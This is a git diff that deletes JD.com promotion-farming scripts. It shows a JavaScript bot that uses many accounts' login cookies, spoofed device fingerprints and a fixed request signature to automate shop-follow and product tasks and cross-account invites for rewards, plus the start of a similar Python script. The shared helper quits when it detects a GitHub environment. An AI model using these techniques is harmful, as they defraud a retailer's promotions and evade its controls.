t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_qixi.js b/backUp/jd_qixi.js deleted file mode 100644 index 6696871..0000000 --- a/backUp/jd_qixi.js +++ /dev/null @@ -1,480 +0,0 @@ -/* -入口:23.0复制整段话 http:/JZUpL5s2BpdFdT 美妆好礼,示爱七夕,快来和我一起收情书抽乐园门票!#yDrnMBbu7a%买买买,→亰咚 -入口:美妆馆- 右边- 抽取免费门票 -acttime 8.4-8.15瓜分京豆 -[task_local] -#柠檬七夕情报局 -0 1,12,17 * * * jd_qixi.js, tag=柠檬七夕情报局, img-url=http://nm66.top/1.jpg, enabled=true -*/ - -const $ = new Env('柠檬七夕情报局'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } -$.temp = []; - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - $.log("如发现账号过多 运行失败报错 隔断时间再运行") - await $.wait(2000) - await isvObfuscator() - - await getinfo() - await chat() - - for (let i = 15; i < 34; i++) { - await dotask("follow_shop",i) - - } -for (let i = 13; i < 27; i++) { - await dotask("add_product",i) - - } -for (let i = 12; i < 23; i++) { - await dotask("meeting_view",i) - - } -$.log("开卡默认不开") - await $.wait(1000) - await isvObfuscator() - - await getinfo() - } - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ((cookiesArr && cookiesArr.length >= 1)) { - console.log(`\n账号内部相互邀请助力\n`); - for (let item of $.temp) { - console.log(`\n${$.UserName} 去参助力 ${item}`); - const helpRes = await inviteteam("map_team_invite?inviter_id=",item,''); - const helpRes1 = await inviteteam("invite?inviter_id=",item,"&from_type=1"); - - - } - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -function isvObfuscator() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body:"area=17_1458_1463_43894&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone9%2C2&eid=eidIe2798122d1s4GEix/uspRjy92JqJ273YghhIs3JZdi/4JjftGCWZOLgY3glC5gGXsTY1vGLRKckMeHq2opKqTBNLiayOHJtx2EhExIqlbarZpTFa&isBackground=N&joycious=35&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=6898c30638c55142969304c8e2167997fa59eb53&osVersion=14.3&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d498ae62e38c880b43fc19e2804315b3&st=1628571194379&sv=110&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJp50CWXKpVTRAM5ixaZVeR4UC5ZkNHju%2Br/F8d4PikLsOYPSDFme89DXOmtwRkFe8HqqCrlQw4SgcxD6PNrngAHJ1QxbLssRnSG%2B8sIjnikCNQ2RKJXoDx1Jlf/rzJWwC6MLb9nJVtDBXDDW7j23vsoRek2ljMg0Tz%2B2wWsKFAM0IvZEhKAJfnA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0", - -headers: { - -"Host": "api.m.jd.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) -if(reust.code==0){ - tk = reust.token - //$.log(tk) - await info() -}else if(reust.code !=0){ - $.log("黑号"+data) -} - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function info() { - return new Promise(async (resolve) => { - - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/jd-user-info`, - body: `{"token":"${tk}","source":"01"}`, - -headers: { -"Host": "xinrui1-isv.isvjcloud.com", - -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; PACM00 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.1.0)", -"Sec-Fetch-Mode": "cors", -"Content-Type":" application/json;charset=UTF-8", -"X-Requested-With": "com.jingdong.app.mall", -"Sec-Fetch-Site": "same-origin", - - - } - } - - $.post(options, async (err, resp, data) => { - //console.log(`${JSON.stringify(options)}`) - //$.log(data) - try { - - const reust = JSON.parse(data) -if(reust.access_token){ - accesstk = reust.access_token - //$.log(accesstk) -}else { - $.log("accesstoken获取失败") -} - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getinfo() { - return new Promise(async (resolve) => { - - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/get_user_info`, - //body:`{"token":"${tk}","source":"01"}`, - -headers: { - -"Host": "xinrui1-isv.isvjcloud.com", - -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", -"Sec-Fetch-Mode": "cors", -"Content-Type":" application/json;charset=UTF-8", -"X-Requested-With": "com.jingdong.app.mall", -"Sec-Fetch-Site": "same-origin", - "Authorization": `bearer ${accesstk}`, - } - } - - $.get(options, async (err, resp, data) => { - // $.log(data) - try { - - data = JSON.parse(data) - if(data.nickname){ - $.log(`亲爱的叼毛:${data.nickname}\n剩余情书:${data.coins}\n邀请码:${data.id}`) - $.temp.push(data.id); - cj = data.coins/10 - cj = cj.toFixed(1) -if(cj > 1){ - for (let i = 0; i < cj; i++) { - await upgrade()} -}}else {$.log("数据获取失败")} - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -//add_product -//add_product -//meeting_view -function dotask(type,id) { - return new Promise(async (resolve) => { - - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}?id=${id}`, - body:``, - -headers: { - -"Host": "xinrui1-isv.isvjcloud.com", - -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", -"Sec-Fetch-Mode": "cors", -"Content-Type":" application/json;charset=UTF-8", -"X-Requested-With": "com.jingdong.app.mall", -"Sec-Fetch-Site": "same-origin", - "Authorization": `bearer ${accesstk}`, - } - } - - $.post(options, async (err, resp, data) => { - try { -data = JSON.parse(data) -if(data.coins){ - $.log(data.coins) -}else { - $.log(data.message) -} - - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -function chat() { - return new Promise(async (resolve) => { - - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/chat`, - body:``, - -headers: { - -"Host": "xinrui1-isv.isvjcloud.com", -"Content-Type": "application/json;charset=utf-8", -"Accept": "application/json, text/plain, */*", -"Authorization": "bearer undefined", -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", - "Authorization": `bearer ${accesstk}`, - } - } - - $.post(options, async (err, resp, data) => { - try { -data = JSON.parse(data) -if(data.content){ -$.log(data.content+" 情书:"+data.coins) -}else {$.log(data.message)} - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function upgrade() { - return new Promise(async (resolve) => { - - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/user_level_upgrade`, - body:``, - -headers: { - -"Host": "xinrui1-isv.isvjcloud.com", - -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", -"Sec-Fetch-Mode": "cors", -"Content-Type":" application/json;charset=UTF-8", -"X-Requested-With": "com.jingdong.app.mall", -"Sec-Fetch-Site": "same-origin", - "Authorization": `bearer ${accesstk}`, - } - } - - $.post(options, async (err, resp, data) => { - //$.log(data) - try { - -data = JSON.parse(data) -if(data['letter_info']){ -$.log(data['letter_info']['content']+" \n"+data['letter_info']['peroration']) - -}else {$.log(data.message)} - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function inviteteam(invitetype,code,from_type) { - return new Promise(async (resolve) => { -//invite?inviter_id= //&from_type=1 -//map_team_invite?inviter_id= - let options = { - url: `https://xinrui1-isv.isvjcloud.com/sapi/${invitetype}${code}${from_type}`, - //url: `https://xinrui1-isv.isvjcloud.com/sapi/map_team_invite?inviter_id=${code}`, - body:``, - -headers: { - -"Host": "xinrui1-isv.isvjcloud.com", - -"Origin": "https://xinrui1-isv.isvjcloud.com", - -"User-Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-N9500 Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83 Mobile Safari/537.36 T7/10.13 baiduboxapp/10.13.0.11 (Baidu; P1 8.0.0)", -"Sec-Fetch-Mode": "cors", -"Content-Type":" application/json;charset=UTF-8", -"X-Requested-With": "com.jingdong.app.mall", -"Sec-Fetch-Site": "same-origin", - "Authorization": `bearer ${accesstk}`, - } - } - - $.post(options, async (err, resp, data) => { - try { -data = JSON.parse(data) -$.log(data.message) - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -async function taskPostUrl(functionId,body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_qjd.py b/backUp/jd_qjd.py deleted file mode 100644 index 1edbffb..0000000 --- a/backUp/jd_qjd.py +++ /dev/null @@ -1,464 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -* -# 全民抢京豆(8.6-8.16) -''' -项目名称: JD-Script / jd_qjd -Author: Curtin -功能:全民抢京豆(8.6-8.16):https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0 - 满160豆需要20人助力,每个用户目前只能助力2次不同的用户。 -Date: 2021/7/3 上午10:02 -TG交流 https://t.me/topstyle996 -TG频道 https://t.me/TopStyle2021 -update: 2021.7.24 14:21 -建议cron: 0 0 6-16 8 * python3 jd_qjd.py -new Env('全民抢京豆 8.6-8.16'); -* 修复了助力活动不存在、增加了随机UA(如果未定义ua则启用随机UA) -* 新增推送 -* 修复0点不能开团 -* 兼容pin为中文转码编码 -''' -# print("全民抢京豆(7.22-7.31)--活动已结束\nTG交流 https://t.me/topstyle996\nTG频道 https://t.me/TopStyle2021") -# exit(0) -# ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck -import sys -import re -import string -import random -import os -import time -import json -from urllib.parse import unquote -cookies = '' -qjd_zlzh = ['Your JD_User', '买买买'] - -# Env环境设置 通知服务 -# export BARK='' # bark服务,苹果商店自行搜索; -# export SCKEY='' # Server酱的SCKEY; -# export TG_BOT_TOKEN='' # tg机器人的TG_BOT_TOKEN; -# export TG_USER_ID='' # tg机器人的TG_USER_ID; -# export TG_API_HOST='' # tg 代理api -# export TG_PROXY_IP='' # tg机器人的TG_PROXY_IP; -# export TG_PROXY_PORT='' # tg机器人的TG_PROXY_PORT; -# export DD_BOT_ACCESS_TOKEN='' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; -# export DD_BOT_SECRET='' # 钉钉机器人的DD_BOT_SECRET; -# export QQ_SKEY='' # qq机器人的QQ_SKEY; -# export QQ_MODE='' # qq机器人的QQ_MODE; -# export QYWX_AM='' # 企业微信;http://note.youdao.com/s/HMiudGkb -# export PUSH_PLUS_TOKEN='' # 微信推送Plus+ ; - -##### - -# 建议调整一下的参数 -# UA 可自定义你的,注意格式: jdapp;iPhone;10.0.4;13.1.1;93b4243eeb1af72d142991d85cba75c66873dca5;network/wifi;ADID/8679C062-A41A-4A25-88F1-50A7A3EEF34A;model/iPhone13,1;addressid/3723896896;appBuild/167707;jdSupportDarkMode/0 